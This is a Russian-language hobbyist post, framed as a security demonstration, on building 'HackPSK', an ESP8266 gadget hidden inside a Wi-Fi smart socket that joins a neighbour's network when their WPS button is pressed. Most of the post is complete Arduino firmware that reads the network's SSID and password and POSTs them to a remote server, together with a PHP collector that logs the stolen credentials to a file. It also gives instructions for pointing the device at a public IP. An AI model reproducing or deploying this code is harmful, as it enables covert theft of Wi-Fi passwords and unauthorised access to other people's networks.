Сразу обращаю внимание, что в данном проекте мы не рассматриваем моральные и/или этические нормы угона паролей от WiFi. Более того, я не призываю никого этим заниматься 😉 HackPSK — это скорее анализ безопасности сети, попытка показать насколько WiFi уязвимы через определённые их фичи. В данном случае через кнопку беспарольного подключения WPS. И если вы надеетесь собрать это устройство и тут же получить пароль PSK от WiFi соседа — огорчу, что пока данный сосед не нажмёт кнопку WPS — вы этот пароль не получите. Итак, поехали..
Для устройства нам потребуется любая ESP-шка. Для примера возьмём самый распространённый и дешёвый вариант ESP-01S.
Данную плату необходимо подключить к питанию 3.3V и переходнику UART, а далее прошить прошивкой используя программу esp8266_flasher. Схема включения следующая..
Также можно прошить ESP через Arduino IDE (в этом случае среда разработки должна быть адаптирована для ESP8266). Скетч .ino ниже:
#include <ESP8266WiFi.h> #include <WiFiClient.h> #include <ESP8266HTTPClient.h> #include <EEPROM.h> char a = 0; String s = "http://192.168.1.2/hackpsk.php\n"; void setup(void) { Serial.begin(9600); EEPROM.begin(512); Serial.println("\nStart device..."); if(EEPROM.read(0x0F) != 0x34){ EEPROM.write(0x0F, 0x34); eeprom_writes(0x10, s); Serial.println("Set new address: "+s); } s = ""; char t=0; pinMode(LED_BUILTIN, OUTPUT); // в старых esp светодиод к gpio1, в новых к gpio2 WiFi.mode(WIFI_STA); label: SerialRead(); s = eeprom_reads(0x10); Serial.println("Use ["+s+"]"); digitalWrite(LED_BUILTIN, HIGH); // led off Serial.println("Try find WPS points"); WiFi.beginWPSConfig(); while (WiFi.status() != WL_CONNECTED) { SerialRead(); Serial.print("."); delay(200); // быстро digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN)); if(t==50){ t=0; goto label; } t++; } Serial.println("OK\nSSID:"+WiFi.SSID()+" PSK:"+WiFi.psk()); // если подключение прошло ОК, то отправляем ssid:psk на свой серв.. WiFiClient client; HTTPClient http; http.begin(client, s); http.addHeader("Content-Type", "text/plain"); if(http.POST("SSID:"+WiFi.SSID()+" PSK:"+WiFi.psk())==HTTP_CODE_OK and http.getString()=="OK"){ Serial.println("Send OK to server ["+s+"]"); for(char x=0; x<10; x++){ digitalWrite(LED_BUILTIN, HIGH); delay(30); digitalWrite(LED_BUILTIN, LOW); delay(30); } }else{ Serial.println("Cannot send to ["+s+"]"); Serial.println("Server not available or answer not 'OK'"); } } void loop(void){ SerialRead(); digitalWrite(LED_BUILTIN, LOW); // lef on delay(2000); digitalWrite(LED_BUILTIN, HIGH); // lef off delay(300); if(a>5){ Serial.println("REBOOT"); while(1); }else a++; // отключаемся и ребутим для ловли следующего } void SerialRead(){ if (Serial.available() > 0) { String ss = Serial.readString(); if(ss != ""){ eeprom_writes(0x10, ss); Serial.println("Change server "+ss); } } } void eeprom_writes(int addr, String s){ int len = s.length()-1; // последний \n не нужен EEPROM.write(addr, len); for(int i=1; i<=len; i++){ EEPROM.write(addr+i, s[i-1]); } EEPROM.commit(); } String eeprom_reads(int addr){ String s = ""; int len = EEPROM.read(addr); for (int i=1; i<=len; i++){ s += char(EEPROM.read(addr+i)); } return s; }
Дефолтовый адрес http://192.168.1.2/hackpsk.php можно (надо) сменить на общедоступный сервер (указывать только IP — поддержку доменных имён не реализовывал). Сменить можно подключившись терминалом к COM-порту на скорости 9600 и введя в терминал новый адрес, например: http://92.145.23.51/hackpsk.php
Содержимое файла на сервере hackpsk.php:
<?php $a = @file_get_contents('php://input'); $aa = @file_get_contents(__DIR__ . "/wifi.db"); @file_put_contents(__DIR__ . "/wifi.db", $aa . date("d.m.Y H:i:s") . " [{$_SERVER['REMOTE_ADDR']}] {$a}\n"); die("OK"); ?>
Конечно, на директорию в которой находится hackpsk.php необходимо выставить права 0777, чтобы создался файл ./wifi.db — в нём будут собираться все успешные попытки подключения к точкам доступа. Скрипт можно усовершенствовать, добавив отправку сообщений в телеграм 😉
Свой вариант устройства я сделал на базе популярной китайской WIFI розетки. Там тоже есть модуль на ESP8266. Взял за основу плату, выпаял реле, сетевые штырьки. Интересен блок питания. Он бестрансформаторный на микросборке BP2525F. Этот «малыш» понижает напряжение до 5 вольт. Если же вывод SEL соединить с VCC то выходное напряжение будет 3.3V при токе до 500 мА.
Также напечатал простенький корпус на 3д принтере. Видео общего вида устройства можно посмотреть на ютубе: https://youtu.be/VovD0mUob48